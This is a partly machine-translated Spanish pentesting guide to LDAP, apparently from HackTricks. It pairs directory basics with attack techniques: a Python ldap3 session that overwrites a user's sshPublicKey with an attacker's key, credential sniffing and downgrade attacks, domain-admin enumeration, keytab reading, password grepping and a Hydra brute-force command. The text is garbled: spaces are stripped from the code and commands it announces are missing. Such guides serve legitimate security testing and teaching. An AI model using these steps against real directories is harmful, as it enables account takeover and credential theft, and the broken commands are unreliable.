El uso de LDAP (Protocolo Ligero de Acceso a Directorios) es principalmente para localizar diversas entidades como organizaciones, individuos y recursos como archivos y dispositivos dentro de redes, tanto públicas como privadas. Ofrece un enfoque simplificado en comparación con su predecesor, DAP, al tener una huella de código más pequeña.
Los directorios LDAP están estructurados para permitir su distribución a través de varios servidores, con cada servidor albergando una versión replicada y sincronizada del directorio, conocida como un Agente del Sistema de Directorios (DSA). La responsabilidad de manejar las solicitudes recae completamente en el servidor LDAP, que puede comunicarse con otros DSAs según sea necesario para entregar una respuesta unificada al solicitante.
La organización del directorio LDAP se asemeja a una jerarquía de árbol, comenzando con el directorio raíz en la parte superior. Esto se ramifica hacia abajo a países, que se dividen aún más en organizaciones, y luego en unidades organizativas que representan diversas divisiones o departamentos, llegando finalmente al nivel de entidades individuales, incluyendo tanto personas como recursos compartidos como archivos e impresoras.
Puerto por defecto: 389 y 636(ldaps). El Catálogo Global (LDAP en ActiveDirectory) está disponible por defecto en los puertos 3268 y 3269 para LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Agregar, Modificar, Eliminar, Renombrar).
Las líneas 1-3 definen el dominio de nivel superior local
Las líneas 5-8 definen el dominio de primer nivel moneycorp (moneycorp.local)
Las líneas 10-16 definen 2 unidades organizativas: dev y sales
Las líneas 18-26 crean un objeto del dominio y asignan atributos con valores
Escribir datos
Tenga en cuenta que si puede modificar valores, podría ser capaz de realizar acciones realmente interesantes. Por ejemplo, imagine que puede cambiar la información de "sshPublicKey" de su usuario o de cualquier usuario. Es muy probable que si este atributo existe, entonces ssh está leyendo las claves públicas desde LDAP. Si puede modificar la clave pública de un usuario, podrá iniciar sesión como ese usuario incluso si la autenticación por contraseña no está habilitada en ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
Si LDAP se utiliza sin SSL, puedes sniff credentials in plain text en la red.
Además, puedes realizar un ataque MITM en la red entre el servidor LDAP y el cliente. Aquí puedes hacer un Downgrade Attack para que el cliente use las credentials in clear text para iniciar sesión.
Si se utiliza SSL puedes intentar hacer MITM como se mencionó anteriormente, pero ofreciendo un false certificate, si el usuario lo acepta, puedes degradar el método de autenticación y ver las credenciales nuevamente.
Anonymous Access
Bypass TLS SNI check
Según this writeup, solo al acceder al servidor LDAP con un nombre de dominio arbitrario (como company.com) pudo contactar el servicio LDAP y extraer información como usuario anónimo:
LDAP anonymous binds permiten a atacantes no autenticados recuperar información del dominio, como una lista completa de usuarios, grupos, computadoras, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una configuración heredada, y a partir de Windows Server 2003, solo se permite a los usuarios autenticados iniciar solicitudes LDAP.
Sin embargo, los administradores pueden haber necesitado configurar una aplicación particular para permitir enlaces anónimos y haber otorgado más acceso del que se pretendía, dando así a los usuarios no autenticados acceso a todos los objetos en AD.
Valid Credentials
Si tienes credenciales válidas para iniciar sesión en el servidor LDAP, puedes volcar toda la información sobre el Administrador de Dominio usando:
Si la respuesta es True como en el ejemplo anterior, puedes obtener algunos datos interesantes del servidor LDAP (como el contexto de nombrado o el nombre de dominio) de:
Una vez que tengas el contexto de nombres, puedes hacer algunas consultas más emocionantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:
Windapsearch es un script de Python útil para enumerar usuarios, grupos y computadoras de un dominio de Windows utilizando consultas LDAP.
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
ldapsearch
Verifique credenciales nulas o si sus credenciales son válidas:
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
Si encuentras algo que diga que el "bind debe completarse" significa que las credenciales son incorrectas.
Para ver si tienes acceso a alguna contraseña, puedes usar grep después de ejecutar una de las consultas:
<ldapsearchcmd...>|grep-i-A2-B2"userpas"
Por favor, ten en cuenta que las contraseñas que puedes encontrar aquí podrían no ser las reales...
pbis
Puedes descargar pbis desde aquí: https://github.com/BeyondTrust/pbis-open/ y generalmente se instala en /opt/pbis.
Pbis te permite obtener información básica fácilmente:
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
Puedes alimentar a john con el hash de la contraseña (de '{SSHA}' a 'structural' sin añadir 'structural').
Archivos de Configuración
General
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 server
V3.sas.oc
Microsoft Active Directory server
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP directory server
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
HackTricks Comandos Automáticos
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f